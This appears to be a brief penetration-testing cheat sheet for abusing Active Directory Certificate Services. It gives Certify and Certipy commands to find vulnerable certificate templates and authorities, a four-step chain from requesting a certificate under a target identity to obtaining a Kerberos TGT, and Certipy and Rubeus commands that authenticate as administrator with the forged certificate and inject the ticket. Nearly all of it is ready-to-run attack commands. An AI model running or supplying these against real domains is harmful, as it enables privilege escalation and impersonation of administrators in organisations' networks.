ADCS Overview

.\Certify.exe find /vulnerable
.\Certify.exe cas                    # List CAs
.\Certify.exe find                   # List templates

certipy find -u [email protected] -p 'password' -dc-ip DC_IP -vulnerable
certipy find -u [email protected] -p 'password' -dc-ip DC_IP -stdout

1. Find vulnerable template/CA
2. Request certificate (with target identity)
3. Use certificate to authenticate (PKINIT)
4. Get TGT → access resources

certipy auth -pfx admin.pfx -dc-ip DC_IP

.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:pfxpass /ptt